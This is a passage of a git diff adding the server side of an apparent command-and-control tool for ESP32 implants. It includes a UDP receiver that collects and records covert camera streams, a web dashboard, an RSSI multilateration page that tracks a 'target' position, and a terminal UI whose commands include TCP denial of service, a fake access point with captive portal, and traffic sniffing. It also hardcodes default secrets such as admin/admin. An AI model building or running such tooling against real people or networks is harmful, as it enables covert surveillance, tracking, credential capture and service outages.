targetData.position; + + if (pos.lat !== undefined) { + coord1El.textContent = pos.lat.toFixed(6); + coord2El.textContent = pos.lon.toFixed(6); + } else if (pos.x !== undefined) { + coord1El.textContent = pos.x.toFixed(2) + ' m'; + coord2El.textContent = pos.y.toFixed(2) + ' m'; + } else { + coord1El.textContent = '-'; + coord2El.textContent = '-'; + } + + document.getElementById('target-confidence').textContent = ((targetData.confidence || 0) * 100).toFixed(0) + '%'; + document.getElementById('target-age').textContent = (targetData.age_seconds || 0).toFixed(1) + 's ago'; + + // Store for rendering + target = pos; + } else { + coord1El.textContent = '-'; + coord2El.textContent = '-'; + document.getElementById('target-confidence').textContent = '-'; + document.getElementById('target-age').textContent = '-'; + target = null; + } +} + +function updateScannerList(scannersData) { + scanners = scannersData || []; + const list = document.getElementById('scanner-list'); + document.getElementById('scanner-count').textContent = scanners.length; + + if (scanners.length === 0) { + list.innerHTML = '
No scanners active
'; + return; + } + + list.innerHTML = scanners.map(s => { + const pos = s.position || {}; + let posStr; + + if (pos.lat !== undefined) { + posStr = `(${pos.lat.toFixed(4)}, ${pos.lon.toFixed(4)})`; + } else if (pos.x !== undefined) { + posStr = `(${pos.x.toFixed(1)}m, ${pos.y.toFixed(1)}m)`; + } else { + posStr = '(-, -)'; + } + + return ` +
+
${s.id}
+
+ Pos: ${posStr} | + RSSI: ${s.last_rssi !== null ? s.last_rssi + ' dBm' : '-'} | + Dist: ${s.estimated_distance !== null ? s.estimated_distance + 'm' : '-'} +
+
+ `; + }).join(''); +} + +function updateConfig(config) { + if (!config) return; + document.getElementById('config-rssi').value = config.rssi_at_1m || -40; + document.getElementById('config-n').value = config.path_loss_n || 2.5; + document.getElementById('config-smooth').value = config.smoothing_window || 5; +} + +// ============================================================ +// API Functions +// ============================================================ +async function fetchState() { + try { + const res = await fetch('/api/mlat/state'); + const state = await res.json(); + + // Update coordinate mode from server + if (state.coord_mode) { + updateCoordMode(state.coord_mode); + } + + updateTargetInfo(state.target); + updateScannerList(state.scanners); + + if (state.config) { + updateConfig(state.config); + } + + // Update visualization + if (currentView === 'map') { + updateMapMarkers(); + } else { + drawPlan(); + } + } catch (e) { + console.error('Failed to fetch MLAT state:', e); + } +} + +async function saveConfig() { + const config = { + rssi_at_1m: parseFloat(document.getElementById('config-rssi').value), + path_loss_n: parseFloat(document.getElementById('config-n').value), + smoothing_window: parseInt(document.getElementById('config-smooth').value) + }; + + try { + await fetch('/api/mlat/config', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(config) + }); + console.log('Config saved'); + } catch (e) { + console.error('Failed to save config:', e); + } +} + +async function clearData() { + try { + await fetch('/api/mlat/clear', { method: 'POST' }); + fetchState(); + } catch (e) { + console.error('Failed to clear data:', e); + } +} + +// ============================================================ +// Initialization +// ============================================================ +document.addEventListener('DOMContentLoaded', () => { + // Initialize map view by default + initMap(); + initPlanCanvas(); + + // Initialize displays + updateZoomDisplay(); + updateSizeDisplay(); + + // Start polling + fetchState(); + setInterval(fetchState, 2000); +}); diff --git a/tools/c2/streams/__init__.py b/tools/c2/streams/__init__.py new file mode 100644 index 0000000..71438d4 --- /dev/null +++ b/tools/c2/streams/__init__.py @@ -0,0 +1,3 @@ +from .server import CameraServer + +__all__ = ["CameraServer"] diff --git a/tools/c2/streams/config.py b/tools/c2/streams/config.py new file mode 100644 index 0000000..b88afc3 --- /dev/null +++ b/tools/c2/streams/config.py @@ -0,0 +1,65 @@ +"""Configuration loader for camera server module - reads from .env file.""" + +import os +from pathlib import Path +from dotenv import load_dotenv + +# Load .env file from c2 root directory +C2_ROOT = Path(__file__).parent.parent +ENV_FILE = C2_ROOT / ".env" + +if ENV_FILE.exists(): + load_dotenv(ENV_FILE) +else: + # Try .env.example as fallback for development + example_env = C2_ROOT / ".env.example" + if example_env.exists(): + load_dotenv(example_env) + + +def _get_bool(key: str, default: bool = False) -> bool: + """Get boolean value from environment.""" + val = os.getenv(key, str(default)).lower() + return val in ("true", "1", "yes", "on") + + +def _get_int(key: str, default: int) -> int: + """Get integer value from environment.""" + try: + return int(os.getenv(key, default)) + except ValueError: + return default + + +# C2 Server +C2_HOST = os.getenv("C2_HOST", "0.0.0.0") +C2_PORT = _get_int("C2_PORT", 2626) + +# UDP Server configuration +UDP_HOST = os.getenv("UDP_HOST", "0.0.0.0") +UDP_PORT = _get_int("UDP_PORT", 5000) +UDP_BUFFER_SIZE = _get_int("UDP_BUFFER_SIZE", 65535) + +# Flask Web Server configuration +WEB_HOST = os.getenv("WEB_HOST", "0.0.0.0") +WEB_PORT = _get_int("WEB_PORT", 8000) + +# Security +SECRET_TOKEN = os.getenv("CAMERA_SECRET_TOKEN", "Sup3rS3cretT0k3n").encode() +FLASK_SECRET_KEY = os.getenv("FLASK_SECRET_KEY", "change_this_for_prod") + +# Credentials +DEFAULT_USERNAME = os.getenv("WEB_USERNAME", "admin") +DEFAULT_PASSWORD = os.getenv("WEB_PASSWORD", "admin") + +# Storage paths +IMAGE_DIR = os.getenv("IMAGE_DIR", "static/streams") + +# Video recording +VIDEO_ENABLED = _get_bool("VIDEO_ENABLED", True) +VIDEO_PATH = os.getenv("VIDEO_PATH", "static/streams/record.avi") +VIDEO_FPS = _get_int("VIDEO_FPS", 10) +VIDEO_CODEC = os.getenv("VIDEO_CODEC", "MJPG") + +# Multilateration +MULTILAT_AUTH_TOKEN = os.getenv("MULTILAT_AUTH_TOKEN", "multilat_secret_token") diff --git a/tools/c2/streams/server.py b/tools/c2/streams/server.py new file mode 100644 index 0000000..4282cc0 --- /dev/null +++ b/tools/c2/streams/server.py @@ -0,0 +1,134 @@ +"""Main camera server combining UDP receiver and unified web server.""" + +from typing import Optional, Callable + +from .config import ( + UDP_HOST, UDP_PORT, WEB_HOST, WEB_PORT, IMAGE_DIR, + DEFAULT_USERNAME, DEFAULT_PASSWORD, FLASK_SECRET_KEY, MULTILAT_AUTH_TOKEN +) +from .udp_receiver import UDPReceiver +from web.server import UnifiedWebServer +from web.mlat import MlatEngine + + +class CameraServer: + """ + Combined camera server that manages both: + - UDP receiver for incoming camera frames from ESP devices + - Unified web server for dashboard, cameras, and trilateration + """ + + def __init__(self, + udp_host: str = UDP_HOST, + udp_port: int = UDP_PORT, + web_host: str = WEB_HOST, + web_port: int = WEB_PORT, + image_dir: str = IMAGE_DIR, + username: str = DEFAULT_USERNAME, + password: str = DEFAULT_PASSWORD, + device_registry=None, + on_frame: Optional[Callable] = None): + """ + Initialize the camera server. + + Args: + udp_host: Host to bind UDP receiver + udp_port: Port for UDP receiver + web_host: Host to bind web server + web_port: Port for web server + image_dir: Directory to store camera frames + username: Web interface username + password: Web interface password + device_registry: DeviceRegistry instance for device listing + on_frame: Optional callback when frame is received (camera_id, frame, addr) + """ + self.mlat_engine = MlatEngine() + + self.udp_receiver = UDPReceiver( + host=udp_host, + port=udp_port, + image_dir=image_dir, + on_frame=on_frame + ) + + self.web_server = UnifiedWebServer( + host=web_host, + port=web_port, + image_dir=image_dir, + username=username, + password=password, + secret_key=FLASK_SECRET_KEY, + multilat_token=MULTILAT_AUTH_TOKEN, + device_registry=device_registry, + mlat_engine=self.mlat_engine + ) + + @property + def is_running(self) -> bool: + """Check if both servers are running.""" + return self.udp_receiver.is_running and self.web_server.is_running + + @property + def udp_running(self) -> bool: + return self.udp_receiver.is_running + + @property + def web_running(self) -> bool: + return self.web_server.is_running + + def start(self) -> dict: + """ + Start both UDP receiver and web server. + + Returns: + dict with status of each server + """ + results = { + "udp": {"started": False, "host": self.udp_receiver.host, "port": self.udp_receiver.port}, + "web": {"started": False, "host": self.web_server.host, "port": self.web_server.port} + } + + if self.udp_receiver.start(): + results["udp"]["started"] = True + + if self.web_server.start(): + results["web"]["started"] = True + results["web"]["url"] = self.web_server.get_url() + + return results + + def stop(self) -> dict: + """ + Stop both servers. + + Returns: + dict with stop status + """ + self.udp_receiver.stop() + self.web_server.stop() + + return { + "udp": {"stopped": True}, + "web": {"stopped": True} + } + + def get_status(self) -> dict: + """Get status of both servers.""" + return { + "udp": { + "running": self.udp_receiver.is_running, + "host": self.udp_receiver.host, + "port": self.udp_receiver.port, + **self.udp_receiver.get_stats() + }, + "web": { + "running": self.web_server.is_running, + "host": self.web_server.host, + "port": self.web_server.port, + "url": self.web_server.get_url() if self.web_server.is_running else None + } + } + + def get_active_cameras(self) -> list: + """Get list of active camera IDs.""" + return self.udp_receiver.active_cameras diff --git a/tools/c2/streams/udp_receiver.py b/tools/c2/streams/udp_receiver.py new file mode 100644 index 0000000..48a3c1b --- /dev/null +++ b/tools/c2/streams/udp_receiver.py @@ -0,0 +1,468 @@ +"""UDP server for receiving camera frames from ESP devices. + +Protocol from ESP32: +- TOKEN + "START" -> Start of new frame +- TOKEN + chunk -> JPEG data chunk +- TOKEN + "END" -> End of frame, decode and process +""" + +import os +import socket +import threading +import time +import cv2 +import numpy as np +from datetime import datetime +from typing import Optional, Callable, Dict + +from .config import ( + UDP_HOST, UDP_PORT, UDP_BUFFER_SIZE, + SECRET_TOKEN, IMAGE_DIR, + VIDEO_FPS, VIDEO_CODEC +) + +# Camera timeout - mark as inactive after this many seconds without frames +CAMERA_TIMEOUT_SECONDS = 5 + + +class FrameAssembler: + """Assembles JPEG frames from multiple UDP packets.""" + + def __init__(self, timeout: float = 5.0): + self.timeout = timeout + self.buffer = bytearray() + self.start_time: Optional[float] = None + self.receiving = False + + def start_frame(self): + self.buffer = bytearray() + self.start_time = time.time() + self.receiving = True + + def add_chunk(self, data: bytes) -> bool: + if not self.receiving: + return False + if self.start_time and (time.time() - self.start_time) > self.timeout: + self.reset() + return False + self.buffer.extend(data) + return True + + def finish_frame(self) -> Optional[bytes]: + if not self.receiving or len(self.buffer) == 0: + return None + data = bytes(self.buffer) + self.reset() + return data + + def reset(self): + self.buffer = bytearray() + self.start_time = None + self.receiving = False + + +class CameraRecorder: + """Handles video recording for a single camera.""" + + def __init__(self, camera_id: str, output_dir: str): + self.camera_id = camera_id + self.output_dir = output_dir + self._writer: Optional[cv2.VideoWriter] = None + self._video_size: Optional[tuple] = None + self._recording = False + self._filename: Optional[str] = None + self._frame_count = 0 + self._start_time: Optional[float] = None + + @property + def is_recording(self) -> bool: + return self._recording + + @property + def filename(self) -> Optional[str]: + return self._filename + + @property + def duration(self) -> float: + if self._start_time: + return time.time() - self._start_time + return 0 + + @property + def frame_count(self) -> int: + return self._frame_count + + def start(self) -> str: + if self._recording: + return self._filename + + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + safe_id = self.camera_id.replace(":", "_").replace(".", "_") + self._filename = f"recording_{safe_id}_{timestamp}.avi" + self._recording = True + self._frame_count = 0 + self._start_time = time.time() + return self._filename + + def stop(self) -> dict: + if not self._recording: + return {"error": "Not recording"} + + self._recording = False + result = { + "filename": self._filename, + "frames": self._frame_count, + "duration": self.duration + } + + if self._writer: + self._writer.release() + self._writer = None + + self._video_size = None + return result + + def write_frame(self, frame: np.ndarray): + if not self._recording: + return + + if self._writer is None: + self._video_size = (frame.shape[1], frame.shape[0]) + fourcc = cv2.VideoWriter_fourcc(*VIDEO_CODEC) + video_path = os.path.join(self.output_dir, self._filename) + self._writer = cv2.VideoWriter( + video_path, fourcc, VIDEO_FPS, self._video_size + ) + + if self._writer and self._writer.isOpened(): + self._writer.write(frame) + self._frame_count += 1 + + +class UDPReceiver: + """Receives JPEG frames via UDP from ESP camera devices.""" + + def __init__(self, + host: str = UDP_HOST, + port: int = UDP_PORT, + image_dir: str = IMAGE_DIR, + on_frame: Optional[Callable] = None, + device_registry=None): + self.host = host + self.port = port + self.image_dir = image_dir + self.on_frame = on_frame + self.device_registry = device_registry + + self._sock: Optional[socket.socket] = None + self._thread: Optional[threading.Thread] = None + self._stop_event = threading.Event() + + # Frame assemblers per source address + self._assemblers: Dict[str, FrameAssembler] = {} + + # Per-camera recorders (keyed by device_id) + self._recorders: Dict[str, CameraRecorder] = {} + self._recordings_dir = os.path.join(os.path.dirname(image_dir), "recordings") + + # IP to device_id mapping cache + self._ip_to_device: Dict[str, str] = {} + + # Statistics + self.frames_received = 0 + self.invalid_tokens = 0 + self.decode_errors = 0 + self.packets_received = 0 + + # Active cameras tracking: {device_id: {"last_frame": timestamp, "active": bool}} + self._active_cameras: Dict[str, dict] = {} + + os.makedirs(self.image_dir, exist_ok=True) + os.makedirs(self._recordings_dir, exist_ok=True) + + def set_device_registry(self, registry): + """Set device registry for IP to device_id lookup.""" + self.device_registry = registry + + @property + def is_running(self) -> bool: + return self._thread is not None and self._thread.is_alive() + + @property + def active_cameras(self) -> list: + """Returns list of active camera device IDs.""" + return [cid for cid, info in self._active_cameras.items() if info.get("active", False)] + + def _get_device_id_from_ip(self, ip: str) -> Optional[str]: + """Look up device_id from IP address using device registry.""" + # Check cache first + if ip in self._ip_to_device: + return self._ip_to_device[ip] + + # Look up in device registry + if self.device_registry: + for device in self.device_registry.all(): + if device.address and device.address[0] == ip: + self._ip_to_device[ip] = device.id + return device.id + + return None + + def start(self) -> bool: + if self.is_running: + return False + + self._stop_event.clear() + self._thread = threading.Thread(target=self._receive_loop, daemon=True) + self._thread.start() + + # Start timeout checker + self._timeout_thread = threading.Thread(target=self._timeout_checker, daemon=True) + self._timeout_thread.start() + + return True + + def stop(self): + self._stop_event.set() + + if self._sock: + try: + self._sock.close() + except Exception: + pass + self._sock = None + + for recorder in self._recorders.values(): + if recorder.is_recording: + recorder.stop() + + self._cleanup_frames() + self._active_cameras.clear() + self._assemblers.clear() + self._recorders.clear() + self._ip_to_device.clear() + self.frames_received = 0 + self.packets_received = 0 + + def _cleanup_frames(self): + """Remove all .jpg files from image directory.""" + try: + for f in os.listdir(self.image_dir): + if f.endswith(".jpg"): + os.remove(os.path.join(self.image_dir, f)) + except Exception: + pass + + def _timeout_checker(self): + """Check for camera timeouts and mark them as inactive.""" + while not self._stop_event.is_set(): + time.sleep(1) + now = time.time() + + for camera_id, info in list(self._active_cameras.items()): + last_frame = info.get("last_frame", 0) + was_active = info.get("active", False) + + if now - last_frame > CAMERA_TIMEOUT_SECONDS: + if was_active: + self._active_cameras[camera_id]["active"] = False + # Remove the frame file so frontend shows default image + self._remove_camera_frame(camera_id) + + def _remove_camera_frame(self, camera_id: str): + """Remove the frame file for a camera.""" + try: + filepath = os.path.join(self.image_dir, f"{camera_id}.jpg") + if os.path.exists(filepath): + os.remove(filepath) + except Exception: + pass + + def _get_assembler(self, addr: tuple) -> FrameAssembler: + key = f"{addr[0]}:{addr[1]}" + if key not in self._assemblers: + self._assemblers[key] = FrameAssembler() + return self._assemblers[key] + + def _get_recorder(self, camera_id: str) -> CameraRecorder: + if camera_id not in self._recorders: + self._recorders[camera_id] = CameraRecorder(camera_id, self._recordings_dir) + return self._recorders[camera_id] + + def _receive_loop(self): + self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._sock.bind((self.host, self.port)) + self._sock.settimeout(1.0) + + print(f"[UDP] Receiver started on {self.host}:{self.port}") + + while not self._stop_event.is_set(): + try: + data, addr = self._sock.recvfrom(UDP_BUFFER_SIZE) + except socket.timeout: + continue + except OSError: + break + + self.packets_received += 1 + + if not data.startswith(SECRET_TOKEN): + self.invalid_tokens += 1 + continue + + payload = data[len(SECRET_TOKEN):] + assembler = self._get_assembler(addr) + + # Try to get device_id from IP, fallback to IP if not found + ip = addr[0] + device_id = self._get_device_id_from_ip(ip) + if not device_id: + # Fallback: use IP (without port to avoid duplicates) + device_id = ip.replace(".", "_") + + if payload == b"START": + assembler.start_frame() + continue + elif payload == b"END": + frame_data = assembler.finish_frame() + if frame_data: + self._process_complete_frame(device_id, frame_data, addr) + continue + else: + if not assembler.receiving: + frame = self._decode_frame(payload) + if frame is not None: + self._process_frame(device_id, frame, addr) + else: + self.decode_errors += 1 + else: + assembler.add_chunk(payload) + + if self._sock: + self._sock.close() + self._sock = None + + print("[UDP] Receiver stopped") + + def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple): + frame = self._decode_frame(frame_data) + if frame is None: + self.decode_errors += 1 + return + self._process_frame(camera_id, frame, addr) + + def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple): + self.frames_received += 1 + + # Update camera tracking + self._active_cameras[camera_id] = { + "last_frame": time.time(), + "active": True, + "addr": addr + } + + # Save frame + self._save_frame(camera_id, frame) + + # Record if recording is active for this camera + recorder = self._get_recorder(camera_id) + if recorder.is_recording: + recorder.write_frame(frame) + + if self.on_frame: + self.on_frame(camera_id, frame, addr) + + def _decode_frame(self, data: bytes) -> Optional[np.ndarray]: + try: + npdata = np.frombuffer(data, np.uint8) + frame = cv2.imdecode(npdata, cv2.IMREAD_COLOR) + return frame + except Exception: + return None + + def _save_frame(self, camera_id: str, frame: np.ndarray): + try: + filepath = os.path.join(self.image_dir, f"{camera_id}.jpg") + cv2.imwrite(filepath, frame) + except Exception: + pass + + # === Recording API === + + def start_recording(self, camera_id: str) -> dict: + if camera_id not in self._active_cameras or not self._active_cameras[camera_id].get("active"): + return {"error": f"Camera {camera_id} not active"} + + recorder = self._get_recorder(camera_id) + if recorder.is_recording: + return {"error": "Already recording", "filename": recorder.filename} + + filename = recorder.start() + return {"status": "recording", "filename": filename, "camera_id": camera_id} + + def stop_recording(self, camera_id: str) -> dict: + if camera_id not in self._recorders: + return {"error": f"No recorder for {camera_id}"} + + recorder = self._recorders[camera_id] + if not recorder.is_recording: + return {"error": "Not recording"} + + result = recorder.stop() + result["camera_id"] = camera_id + result["path"] = os.path.join(self._recordings_dir, result["filename"]) + return result + + def get_recording_status(self, camera_id: str = None) -> dict: + if camera_id: + if camera_id not in self._recorders: + return {"camera_id": camera_id, "recording": False} + recorder = self._recorders[camera_id] + return { + "camera_id": camera_id, + "recording": recorder.is_recording, + "filename": recorder.filename, + "duration": recorder.duration, + "frames": recorder.frame_count + } + + result = {} + for cid, info in self._active_cameras.items(): + if info.get("active"): + recorder = self._get_recorder(cid) + result[cid] = { + "recording": recorder.is_recording, + "filename": recorder.filename if recorder.is_recording else None, + "duration": recorder.duration if recorder.is_recording else 0 + } + return result + + def list_recordings(self) -> list: + try: + files = [] + for f in os.listdir(self._recordings_dir): + if f.endswith(".avi"): + path = os.path.join(self._recordings_dir, f) + stat = os.stat(path) + files.append({ + "filename": f, + "size": stat.st_size, + "created": stat.st_mtime + }) + return sorted(files, key=lambda x: x["created"], reverse=True) + except Exception: + return [] + + def get_stats(self) -> dict: + recording_count = sum(1 for r in self._recorders.values() if r.is_recording) + active_count = sum(1 for info in self._active_cameras.values() if info.get("active")) + return { + "running": self.is_running, + "packets_received": self.packets_received, + "frames_received": self.frames_received, + "invalid_tokens": self.invalid_tokens, + "decode_errors": self.decode_errors, + "active_cameras": active_count, + "active_recordings": recording_count + } diff --git a/tools/c2/streams/web_server.py b/tools/c2/streams/web_server.py new file mode 100644 index 0000000..2ccc9e6 --- /dev/null +++ b/tools/c2/streams/web_server.py @@ -0,0 +1,158 @@ +"""Flask web server for camera stream display.""" + +import os +import logging +import threading +from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify +from werkzeug.serving import make_server + +from .config import ( + WEB_HOST, WEB_PORT, FLASK_SECRET_KEY, + DEFAULT_USERNAME, DEFAULT_PASSWORD, IMAGE_DIR +) + +# Disable Flask/Werkzeug request logging +logging.getLogger('werkzeug').setLevel(logging.ERROR) + + +class WebServer: + """Flask-based web server for viewing camera streams.""" + + def __init__(self, + host: str = WEB_HOST, + port: int = WEB_PORT, + image_dir: str = IMAGE_DIR, + username: str = DEFAULT_USERNAME, + password: str = DEFAULT_PASSWORD): + self.host = host + self.port = port + self.image_dir = image_dir + self.username = username + self.password = password + + self._app = self._create_app() + self._server = None + self._thread = None + + @property + def is_running(self) -> bool: + return self._thread is not None and self._thread.is_alive() + + def _create_app(self) -> Flask: + """Create and configure the Flask application.""" + # Get the c2 root directory for templates + c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + template_dir = os.path.join(c2_root, "templates") + static_dir = os.path.join(c2_root, "static") + + app = Flask(__name__, + template_folder=template_dir, + static_folder=static_dir) + app.secret_key = FLASK_SECRET_KEY + + # Store reference to self for route handlers + web_server = self + + @app.route("/login", methods=["GET", "POST"]) + def login(): + error = None + if request.method == "POST": + username = request.form.get("username") + password = request.form.get("password") + if username == web_server.username and password == web_server.password: + session["logged_in"] = True + return redirect(url_for("index")) + else: + error = "Invalid credentials." + return render_template("login.html", error=error) + + @app.route("/logout") + def logout(): + session.pop("logged_in", None) + return redirect(url_for("login")) + + @app.route("/") + def index(): + if not session.get("logged_in"): + return redirect(url_for("login")) + + # List available camera images + full_image_dir = os.path.join(c2_root, web_server.image_dir) + try: + image_files = sorted([ + f for f in os.listdir(full_image_dir) + if f.endswith(".jpg") + ]) + except FileNotFoundError: + image_files = [] + + if not image_files: + image_files = [] + + return render_template("index.html", image_files=image_files) + + @app.route("/streams/") + def stream_image(filename): + full_image_dir = os.path.join(c2_root, web_server.image_dir) + return send_from_directory(full_image_dir, filename) + + @app.route("/api/cameras") + def api_cameras(): + """API endpoint to get list of active cameras.""" + if not session.get("logged_in"): + return jsonify({"error": "Unauthorized"}), 401 + + full_image_dir = os.path.join(c2_root, web_server.image_dir) + try: + cameras = [ + f.replace(".jpg", "") + for f in os.listdir(full_image_dir) + if f.endswith(".jpg") + ] + except FileNotFoundError: + cameras = [] + + return jsonify({"cameras": cameras}) + + @app.route("/api/stats") + def api_stats(): + """API endpoint for server statistics.""" + if not session.get("logged_in"): + return jsonify({"error": "Unauthorized"}), 401 + + full_image_dir = os.path.join(c2_root, web_server.image_dir) + try: + camera_count = len([ + f for f in os.listdir(full_image_dir) + if f.endswith(".jpg") + ]) + except FileNotFoundError: + camera_count = 0 + + return jsonify({ + "active_cameras": camera_count, + "server_running": True + }) + + return app + + def start(self) -> bool: + """Start the web server in a background thread.""" + if self.is_running: + return False + + self._server = make_server(self.host, self.port, self._app, threaded=True) + self._thread = threading.Thread(target=self._server.serve_forever, daemon=True) + self._thread.start() + return True + + def stop(self): + """Stop the web server.""" + if self._server: + self._server.shutdown() + self._server = None + self._thread = None + + def get_url(self) -> str: + """Get the server URL.""" + return f"http://{self.host}:{self.port}" diff --git a/tools/c2/templates/base.html b/tools/c2/templates/base.html new file mode 100644 index 0000000..185cf4e --- /dev/null +++ b/tools/c2/templates/base.html @@ -0,0 +1,52 @@ + + + + + + {% block title %}ESPILON{% endblock %} + + {% block head %}{% endblock %} + + +
+ + +
+
+
+ - device(s) +
+ Logout +
+
+ +
+ {% block content %}{% endblock %} +
+ + + {% block scripts %}{% endblock %} + + diff --git a/tools/c2/templates/cameras.html b/tools/c2/templates/cameras.html new file mode 100644 index 0000000..7935ad6 --- /dev/null +++ b/tools/c2/templates/cameras.html @@ -0,0 +1,270 @@ +{% extends "base.html" %} + +{% block title %}Cameras - ESPILON{% endblock %} + +{% block content %} + + +{% if image_files %} +
+ {% for img in image_files %} +
+
+ {{ img.replace('.jpg', '').replace('_', ':') }} +
+ + LIVE +
+
+
+ +
+ +
+ {% endfor %} +
+{% else %} +
+
+ No Signal +

No active cameras

+

Waiting for ESP32-CAM devices to send frames on UDP port 5000

+
+
+{% endif %} +{% endblock %} + +{% block scripts %} + + + +{% endblock %} diff --git a/tools/c2/templates/dashboard.html b/tools/c2/templates/dashboard.html new file mode 100644 index 0000000..8577be3 --- /dev/null +++ b/tools/c2/templates/dashboard.html @@ -0,0 +1,158 @@ +{% extends "base.html" %} + +{% block title %}Dashboard - ESPILON{% endblock %} + +{% block content %} + + +
+ +
+ + +{% endblock %} + +{% block scripts %} + +{% endblock %} diff --git a/tools/c2/templates/login.html b/tools/c2/templates/login.html new file mode 100644 index 0000000..8df1bfe --- /dev/null +++ b/tools/c2/templates/login.html @@ -0,0 +1,32 @@ + + + + + + Login - ESPILON + + + + + + diff --git a/tools/c2/templates/mlat.html b/tools/c2/templates/mlat.html new file mode 100644 index 0000000..5b58f65 --- /dev/null +++ b/tools/c2/templates/mlat.html @@ -0,0 +1,174 @@ +{% extends "base.html" %} + +{% block title %}MLAT - ESPILON{% endblock %} + +{% block head %} + + +{% endblock %} + +{% block content %} + + +
+ +
+ +
+
+
+ + +
+
+ + + +
+ + +
+ Zoom: + + 100% + + +
+ Size: + + 50x30m + +
+
+ +
+
+
+ + +
+ +
+

Target Position

+
+ Latitude + - +
+
+ Longitude + - +
+
+ Confidence + - +
+
+ Last Update + - +
+
+ Mode + GPS +
+
+ + +
+

Scanners (0)

+
+
No scanners active
+
+
+ + +
+

Map Settings (GPS)

+
+ + +
+
+ + +
+
+ + +
+ + +
+ + + + + +
+

MLAT Config

+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+
+
+{% endblock %} + +{% block scripts %} + +{% endblock %} diff --git a/tools/c2/test_udp.py b/tools/c2/test_udp.py new file mode 100644 index 0000000..c7f58ce --- /dev/null +++ b/tools/c2/test_udp.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python3 +"""Simple UDP test server to debug camera streaming.""" + +import socket +import sys + +HOST = "0.0.0.0" +PORT = 5000 +TOKEN = b"Sup3rS3cretT0k3n" + +def main(): + port = int(sys.argv[1]) if len(sys.argv) > 1 else PORT + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind((HOST, port)) + + print(f"[UDP] Listening on {HOST}:{port}") + print(f"[UDP] Token: {TOKEN.decode()}") + print("[UDP] Waiting for packets...\n") + + packet_count = 0 + frame_count = 0 + + try: + while True: + data, addr = sock.recvfrom(65535) + packet_count += 1 + + # Check token + if data.startswith(TOKEN): + payload = data[len(TOKEN):] + + if payload == b"START": + print(f"[{addr[0]}:{addr[1]}] START (new frame)") + elif payload == b"END": + frame_count += 1 + print(f"[{addr[0]}:{addr[1]}] END (frame #{frame_count} complete)") + else: + print(f"[{addr[0]}:{addr[1]}] CHUNK: {len(payload)} bytes") + else: + print(f"[{addr[0]}:{addr[1]}] INVALID TOKEN: {data[:20]}...") + + # Stats every 100 packets + if packet_count % 100 == 0: + print(f"\n--- Stats: {packet_count} packets, {frame_count} frames ---\n") + + except KeyboardInterrupt: + print(f"\n[UDP] Stopped. Total: {packet_count} packets, {frame_count} frames") + finally: + sock.close() + +if __name__ == "__main__": + main() diff --git a/tools/c2/tui/__init__.py b/tools/c2/tui/__init__.py new file mode 100644 index 0000000..e426d03 --- /dev/null +++ b/tools/c2/tui/__init__.py @@ -0,0 +1,4 @@ +from tui.app import C3POApp +from tui.bridge import tui_bridge, TUIMessage, MessageType + +__all__ = ["C3POApp", "tui_bridge", "TUIMessage", "MessageType"] diff --git a/tools/c2/tui/app.py b/tools/c2/tui/app.py new file mode 100644 index 0000000..eb54460 --- /dev/null +++ b/tools/c2/tui/app.py @@ -0,0 +1,295 @@ +""" +Main C3PO TUI Application using Textual. +Multi-device view: all connected devices visible simultaneously. +""" +import time +from pathlib import Path + +from textual.app import App, ComposeResult +from textual.binding import Binding +from textual.containers import Horizontal, Vertical, Container, ScrollableContainer +from textual.widgets import Static + +from tui.bridge import tui_bridge, TUIMessage, MessageType +from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane +from tui.widgets.command_input import CommandInput +from tui.widgets.device_tabs import DeviceTabs + + +class DeviceContainer(Container): + """Container for a single device with border and title.""" + + DEFAULT_CSS = """ + DeviceContainer { + height: 1fr; + min-height: 6; + border: solid $secondary; + border-title-color: $text; + border-title-style: bold; + } + """ + + def __init__(self, device_id: str, **kwargs): + super().__init__(**kwargs) + self.device_id = device_id + self.border_title = f"DEVICE: {device_id}" + + +class C3POApp(App): + """C3PO Command & Control TUI Application.""" + + CSS_PATH = Path(__file__).parent / "styles" / "c2.tcss" + + BINDINGS = [ + Binding("alt+g", "toggle_global", "Global", show=True), + Binding("ctrl+l", "clear_global", "Clear", show=True), + Binding("ctrl+q", "quit", "Quit", show=True), + Binding("escape", "focus_input", "Input", show=False), + Binding("tab", "tab_complete", show=False, priority=True), + ] + + def __init__(self, registry=None, cli=None, **kwargs): + super().__init__(**kwargs) + self.registry = registry + self.cli = cli + self._device_panes: dict[str, DeviceLogPane] = {} + self._device_containers: dict[str, DeviceContainer] = {} + self._device_modules: dict[str, str] = {} + + def compose(self) -> ComposeResult: + yield DeviceTabs(id="tab-bar") + + with Horizontal(id="main-content"): + # Left side: all devices stacked vertically + with Vertical(id="devices-panel"): + yield Static("Waiting for devices...", id="no-device-placeholder") + + # Right side: global logs + with Container(id="global-log-container") as global_container: + global_container.border_title = "GLOBAL LOGS" + yield GlobalLogPane(id="global-log") + + with Vertical(id="input-container"): + yield Static( + "Alt+G:Toggle Global ^L:Clear Logs ^Q:Quit Tab:Complete", + id="shortcuts-bar" + ) + yield CommandInput(id="command-input") + + def on_mount(self) -> None: + """Called when app is mounted.""" + tui_bridge.set_app(self) + self.set_interval(0.1, self.process_bridge_queue) + + cmd_input = self.query_one("#command-input", CommandInput) + if self.cli: + cmd_input.set_completer(self._make_completer()) + cmd_input.focus() + + global_log = self.query_one("#global-log", GlobalLogPane) + global_log.add_system(self._timestamp(), "C3PO TUI initialized - Multi-device view") + + def _make_completer(self): + """Create a completer function that works without readline.""" + ESP_COMMANDS = [ + "system_reboot", "system_mem", "system_uptime", "system_info", + "ping", "arp_scan", "proxy_start", "proxy_stop", "dos_tcp", + "fakeap_start", "fakeap_stop", "fakeap_status", "fakeap_clients", + "fakeap_portal_start", "fakeap_portal_stop", + "fakeap_sniffer_on", "fakeap_sniffer_off", + "cam_start", "cam_stop", "mlat", "trilat", + ] + + def completer(text: str, state: int) -> str | None: + if not 